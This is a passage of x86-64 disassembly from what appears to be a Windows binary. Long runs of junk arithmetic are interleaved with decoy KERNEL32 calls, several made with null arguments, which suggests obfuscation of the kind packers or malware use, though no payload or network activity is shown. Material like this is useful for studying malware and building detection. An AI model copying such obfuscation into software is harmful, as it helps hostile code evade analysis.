mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x2aa4], ax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
and eax, ecx
mov byte [rsp + 0xc2], al
mov eax, dword [rsp + 0xce20]
mov ecx, dword [rsp + 0xc330]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce74], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov dword [rsp + 0xced0], eax
mov eax, dword [rsp + 0xce04]
mov ecx, dword [rsp + 0xce78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xca14], eax
mov eax, dword [rsp + 0x9c0c]
mov ecx, dword [rsp + 0xce88]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad634], eax
mov eax, dword [rsp + 0x8128]
mov dword [rsp + 0xced4], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55e]
sub eax, ecx
mov byte [rsp + 0x78b], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x324c], ax
movzx eax, word [rsp + 0x35f4]
movzx ecx, word [rsp + 0x3618]
sub eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43a]
sub eax, ecx
mov rcx, qword [rsp + 0x19828]
mov byte [rcx], al
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [rsp + 0xced8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x199b0], rax
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [rsp + 0xcdf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov word [rsp + 0x3650], ax
movzx eax, byte [rsp + 0x45b]
mov byte [0x1402bf710], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xceb8]
shr eax, cl
mov dword [rsp + 0xce90], eax
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0xce54]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
mov eax, dword [rsp + 0xcd70]
mov dword [rsp + 0xcedc], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xce70], eax
mov eax, dword [rsp + 0xc264]
movzx ecx, al
mov eax, dword [0x1402ad65c]
shl eax, cl
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x43a]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3a2], al
movzx eax, word [rsp + 0x3618]
movzx ecx, word [0x1402ad654]
imul eax, ecx
mov word [rsp + 0x3644], ax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce30]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcebc], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x199b8], rax
mov eax, dword [rsp + 0xcd70]
mov dword [rsp + 0xcee0], eax
lea rax, [rsp + 0x3624]
mov qword [0x1402bf708], rax
movsx eax, byte [rsp + 0x475]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x782], al
movzx eax, word [rsp + 0x360c]
mov word [rsp + 0x3654], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcea4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x199c0], rax
lea rax, [rsp + 0xce6c]
mov qword [rsp + 0x199c8], rax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19780]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93c4], eax
mov rax, qword [0x1402bf730]
movzx eax, word [rax]
mov word [rsp + 0x3658], ax
movzx eax, byte [rsp + 0x43a]
movzx ecx, byte [rsp + 0x78a]
sub eax, ecx
mov byte [0x1402acb3b], al
movzx ecx, word [rsp + 0x35b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35d4], ax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x19710]
mov dword [rcx], eax
mov eax, dword [rsp + 0xce40]
mov ecx, dword [0x1402ad634]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcd70]
mov dword [rsp + 0xcee4], eax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcdd4]
shr eax, cl
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x580], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x35fc], ax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19890]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3150], ax
lea rax, [rsp + 0x55e]
mov qword [rsp + 0x199d0], rax
mov rax, qword [rsp + 0x19910]
mov rcx, qword [rsp + 0x19728]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad638], eax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xce74]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce5c], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov byte [rsp + 0x79b], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35dc]
add eax, ecx
mov word [rsp + 0x35f0], ax
mov rax, qword [rsp + 0x19980]
mov rcx, qword [rsp + 0x19938]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce9c], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov dword [rsp + 0xcee8], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8754], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcd9c], eax
mov eax, dword [rsp + 0xceb0]
mov ecx, dword [rsp + 0xced0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x909c], eax
movzx eax, byte [rsp + 0x79b]
movzx ecx, byte [rsp + 0x78d]
add eax, ecx
mov byte [rsp + 0xc2], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xceec], eax
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x364c]
sub eax, ecx
mov word [0x1402ad670], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce4c], eax
mov eax, dword [rsp + 0xcde0]
mov dword [rsp + 0xcef0], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [0x1402bf788]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa958], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x8754]
mov dword [rsp + 0xcef4], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19980]
mov qword [rsp + 0x199d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x199d8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xcdf8], eax
mov rax, qword [rsp + 0x19898]
movzx eax, byte [rax]
mov byte [rsp + 0x79c], al
movsx eax, word [rsp + 0x3630]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x35e0], ax
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, byte [rsp + 0x793]
movzx ecx, byte [rsp + 0x797]
xor eax, ecx
mov byte [rsp + 0x79b], al
lea rax, [rsp + 0x35c4]
mov qword [0x1402bf700], rax
lea rcx, [0x1402ae668]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x35d4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.y4VyOZVOJi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x199e0], rax
mov eax, dword [rsp + 0xbac8]
mov ecx, dword [rsp + 0xceac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x93f0], eax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce98], eax
lea rdx, [rsp + 0xcebc]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xce0c], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
mov byte [rsp + 0x79d], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xee4f
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcef8], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19848]
mov word [rcx], ax
mov eax, dword [rsp + 0xce48]
mov ecx, dword [rsp + 0x9e08]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce2c], eax
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov dword [rsp + 0xcefc], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xb418]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcee4], eax
mov eax, dword [0x1402ad634]
mov ecx, dword [rsp + 0xcea8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x874c], eax
movzx eax, word [rsp + 0x3640]
mov rcx, qword [rsp + 0x19858]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1402ad674], ax
movzx eax, byte [rsp + 0x792]
movzx ecx, byte [rsp + 0x3be]
and eax, ecx
mov byte [rsp + 0x79b], al
mov rax, qword [0x1402bf760]
mov rcx, qword [rsp + 0x19710]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xced8], eax
mov eax, dword [rsp + 0xcde4]
mov dword [rsp + 0xcf00], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
movsx ecx, byte [0x1402bf712]
sub eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x365c], ax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3608], ax
lea rax, [rsp + 0x9a]
mov qword [rsp + 0x199e8], rax
lea rdx, [rsp + 0x2bfd0]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcd84], eax
mov eax, dword [rsp + 0xcd4c]
mov ecx, dword [rsp + 0xce4c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce04], eax
mov eax, dword [rsp + 0xcde4]
movzx ecx, al
mov eax, dword [rsp + 0x9c0c]
shl eax, cl
mov rcx, qword [0x1402bf768]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf04], eax
mov rax, qword [0x1402bf768]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x198a8]
mov qword [rsp + 0x199f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x199f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xc224], eax
lea rax, [rsp + 0xce78]
mov qword [rsp + 0x199f8], rax
mov rax, qword [rsp + 0x196b8]
mov rcx, qword [rsp + 0x19988]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xcea4], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f48]
imul eax, ecx
mov word [rsp + 0x3184], ax
movzx eax, byte [rsp + 0x798]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x198c0]
mov ecx, dword [0x1402bf788]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce2c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x197e0], rax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov dword [rsp + 0xcf08], eax
mov eax, dword [rsp + 0xcef4]
mov ecx, dword [rsp + 0xcedc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c0c], eax
mov r9d, 1
lea r8, [rsp + 0x19720]
mov rdx, qword [rsp + 0x19a00]
mov rcx, qword [rsp + 0x19698]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xce70], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [0x1402bf6f8], eax
movzx eax, word [rsp + 0x35cc]
mov word [rsp + 0x3660], ax
movzx eax, byte [rsp + 0x793]
movzx ecx, byte [rsp + 0x580]
sub eax, ecx
mov byte [rsp + 0x795], al
movsx eax, word [rsp + 0x269c]
movsx ecx, word [rsp + 0x3604]
add eax, ecx
mov word [rsp + 0x35b4], ax
movsx eax, byte [rsp + 0x55e]
movsx ecx, byte [rsp + 0x790]
sub eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce78], eax
mov eax, dword [rsp + 0xce30]
mov dword [rsp + 0xcf0c], eax
movzx eax, byte [rsp + 0x78c]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x65e], al
lea rcx, [rsp + 0x2af28]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
imul eax, eax, 0xa20
mov rcx, qword [rsp + 0x19870]
mov word [rcx], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdd0]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad65c], eax
mov eax, dword [rsp + 0xb4b0]
mov dword [rsp + 0xcf10], eax
mov eax, dword [rsp + 0xcdf8]
movzx ecx, al
mov eax, dword [rsp + 0x9c0c]
shl eax, cl
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19910]
mov rcx, qword [rsp + 0x196e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8100], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3628], ax
lea rax, [rsp + 0x45b]
mov qword [rsp + 0x19a08], rax
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xce68]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9f6c], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x19a10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19a10]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xce18], eax
mov rax, qword [rsp + 0x19910]
mov eax, dword [rax]
mov dword [rsp + 0xcf14], eax
mov rax, qword [0x1402bf750]
mov ecx, dword [rsp + 0xce00]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf770], eax
mov rax, qword [rsp + 0x19980]
mov ecx, dword [rsp + 0xceb0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce60], eax
movzx eax, byte [0x1402bf78c]
mov byte [rsp + 0x79e], al
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3604], ax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19950]
mov word [rcx], ax
movzx eax, byte [0x1402bf711]
mov byte [rsp + 0x79f], al
mov ecx, 0xf
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcddc], eax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0x9354]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc224]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb35c], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19848]
mov word [rcx], ax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19830]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402acb62], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xce50], eax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [0x1402bf780]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xbac8], eax
lea rax, [rsp + 0xced4]
mov qword [rsp + 0x19a18], rax
mov rax, qword [rsp + 0x198a8]
mov rcx, qword [rsp + 0x19980]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xce5c], eax
lea rax, [rsp + 0xbac8]
mov qword [rsp + 0x19a20], rax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x787]
imul eax, ecx
mov rcx, qword [rsp + 0x19860]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcdb8], eax
lea rax, [rsp + 0x1ea4]
mov qword [rsp + 0x19a28], rax
mov eax, dword [0x1402ad64c]
mov ecx, dword [rsp + 0xcee0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xce3c], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xced0]
sar eax, cl
mov dword [rsp + 0xcdf0], eax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3624]
xor eax, ecx
mov word [0x1402ad678], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcf18], eax
movzx eax, byte [0x1402bf712]
mov byte [rsp + 0x7a0], al
movzx eax, byte [rsp + 0x793]
movzx ecx, byte [rsp + 0x78e]
shl eax, cl
mov byte [rsp + 0x9a], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov word [rsp + 0x3664], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x626f
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcebc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x19910]
mov rcx, qword [0x1402bf740]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2e8], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce24], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0x874c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb688], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov ecx, dword [0x1402ad658]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce08], eax
lea rax, [rsp + 0xcdcc]
mov qword [rsp + 0x19a30], rax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x792], al
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x3184]
add eax, ecx
mov word [0x1402ad674], ax
movzx ecx, word [rsp + 0x35d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3668], ax
mov rax, qword [rsp + 0x199f8]
mov rcx, qword [rsp + 0x19910]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x93f0], eax
xor r9d, r9d
lea r8, [rsp + 0x197a0]
mov rdx, qword [rsp + 0x19a00]
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcd84], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xcf1c], eax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb4b0], eax
mov eax, dword [rsp + 0xa2e8]
mov dword [rsp + 0xcf20], eax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78c], al
movzx eax, word [rsp + 0x308c]
movzx ecx, word [rsp + 0x35cc]
sub eax, ecx
mov word [rsp + 0x3608], ax
movsx eax, byte [rsp + 0x79c]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3e7], al
mov rax, qword [0x1402bf708]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19800]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2f5c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcf24], eax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [0x1402bf6f4], eax
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov dword [rsp + 0xcf28], eax
movzx eax, byte [rsp + 0x795]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x78e], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x366c], ax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcee4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde4], eax
mov rcx, qword [rsp + 0x199c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xccf8], eax
mov eax, dword [rsp + 0xb404]
movzx ecx, al
mov eax, dword [rsp + 0xcda8]
shr eax, cl
mov dword [rsp + 0x9354], eax
mov rax, qword [rsp + 0x198a8]
mov ecx, dword [rsp + 0xb688]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcec0], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xcef8], eax
movzx eax, byte [rsp + 0x788]
mov byte [rsp + 0x7a1], al
movzx eax, word [rsp + 0x1ea4]
mov rcx, qword [rsp + 0x198e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad650], ax
mov eax, dword [rsp + 0xcefc]
mov ecx, dword [rsp + 0xce1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xca14], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x198f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov dword [rsp + 0xcf2c], eax
mov eax, dword [rsp + 0xce54]
mov ecx, dword [0x1402bf6f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce6c], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xcf30], eax
mov rax, qword [rsp + 0x198c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x786]
sub eax, ecx
mov byte [rsp + 0x79e], al
movsx eax, word [0x1402ad2f8]
movsx ecx, word [rsp + 0x35a4]
sub eax, ecx
mov word [rsp + 0x3620], ax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78e]
add eax, ecx
mov byte [rsp + 0x61], al
movzx eax, word [rsp + 0x3644]
movzx ecx, word [0x1402ad674]
or eax, ecx
mov word [0x1402ad67c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x19a38], rax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19910]
mov qword [rsp + 0x19a40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19a40]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xce24], eax
mov eax, dword [rsp + 0xc264]
mov dword [rsp + 0xcf34], eax
movzx eax, byte [rsp + 0x795]
movzx ecx, byte [rsp + 0x79f]
xor eax, ecx
mov rcx, qword [rsp + 0x19828]
mov byte [rcx], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19870]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x19a28]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov eax, dword [rsp + 0x909c]
mov dword [rsp + 0xcf38], eax
mov rax, qword [rsp + 0x196e0]
mov eax, dword [rax]
mov ecx, dword [0x1402ad664]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
lea rax, [rsp + 0xcee4]
mov qword [rsp + 0x19a48], rax
mov rax, qword [rsp + 0x19888]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19780]
mov dword [rcx], eax
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a28]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad654], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
lea rax, [rsp + 0x78a]
mov qword [rsp + 0x19a50], rax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0xcdd0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd4c], eax
mov eax, dword [rsp + 0xced4]
mov ecx, dword [0x1402ad64c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19740]
mov dword [rcx], eax
movsx eax, word [rsp + 0x3604]
